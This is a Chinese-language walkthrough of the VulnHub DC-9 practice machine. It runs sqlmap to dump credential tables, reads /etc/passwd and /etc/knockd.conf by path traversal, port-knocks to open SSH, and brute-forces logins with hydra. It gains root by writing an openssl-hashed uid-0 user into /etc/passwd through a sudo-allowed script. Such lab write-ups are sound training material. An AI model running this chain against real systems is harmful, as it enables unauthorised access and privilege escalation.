靶机下载地址:
https://download.vulnhub.com/dc/DC-9.zip
1、信息收集
arp-scan -l
nmap -sS -sV -A -n 192.168.13.139
发现靶机开启了80端口,但是22端口是关闭的
发现search 存在输入框 猜测存在sql注入 用sqlmap 跑一下
sqlmap -u “http://192.168.13.139/results.php“ –data “search=1” -dbs #列出数据库
sqlmap -u “http://192.168.13.139/results.php“ –data “search=1” -D users –tables #列出表
sqlmap -u “http://192.168.13.139/results.php“ –data “search=1” -D users -T UserDetails –dump #列出管理员账号密码
看了一遍没见到admin用户,跑一下Staff这个库
sqlmap -u “http://192.168.13.139/results.php“ –data “search=1” -D Staff –tables
sqlmap -u “http://192.168.13.139/results.php“ –data “search=1” -D Staff -T Users –dump #获取账号密码
账号admin,transorbital1,登录后多了Add Record和Manage页面,在Manage的下面发现了一句话File does not exits ,猜测可能存在文件包含漏洞,猜测文件参数是file
http://192.168.13.139/welcome.php?file=../../../../etc/passwd
回想到开始的端口扫描到了靶机运行了SSH服务,但状态是filtered,说明22端口的流量被过滤了,猜测可能存在knockd服务:即敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:/etc/knockd.conf
Port-knocking 简单教程
https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html
端口敲门服务
https://zhuanlan.zhihu.com/p/59488488
http://192.168.13.139/welcome.php?file=../../../../etc/knockd.conf
依次对7469,8475,9842端口进行敲门,即可开门
nmap -p 7469 192.168.13.139
nmap -p 8475 192.168.13.139
nmap -p 9842 192.168.13.139
依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问
nmap -sS -sV -A -n 192.168.13.139
现在将之前通过SQL注入得到的账号和密码编写成字典,将username写入到user.txt文件,将passord写入到pwd.txt文件
sqlmap -u “http://192.168.13.139/results.php“ -data “search=1” -D users -T UserDetails -dump
再使用两个字典进行爆破
hydra -L username.txt -P pwd.txt 192.168.13.139 ssh
用户 密码
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
挨个登录用户查看目录都有些什么,在第三个账户发现多了一个目录
进入该目录下一探究竟,发现一个文件,打开文件查看,好像是几个账户的密码
把这些密码加入到之前的那个密码字典里面,再进行爆破一次,发现又爆破出一个用户和密码
登录这个爆破出来的新用户,sudo -l命令看看有没有可以执行的root权限的命令
发现这里有个脚本文件可以无密码以root用户权限执行,进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件
打开test.py文件看看内容
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。
那可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了
回到kali,使用openssl工具创建一个本地的加密用户
openssl passwd -1 -salt admin01 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加
admin01 123456 用户名和密码
根据/etc/passwd的格式,修改一下,然后存入一个文件里,这个文件就是参数1
echo ‘admin01:$1$admin01$ZtX8esZ5WOLI2PxNwPxWl.:0:0::/root:/bin/bash’ >> /tmp/passwd
分别对应 用户名:密码:uid:gid:家目录:登陆后使用的shell
sudo ./test /tmp/passwd /e
su admin01 密码:123456
登录成功,转到root目录下,查看有没有关于flag的文件,通常情况下,flag都在root目录下,果然在这里
上一篇
vulnhub-Matrix-Breakout 2 Morpheus
2024-08-14
下一篇
vulnhub-DC8靶机练习
2024-07-28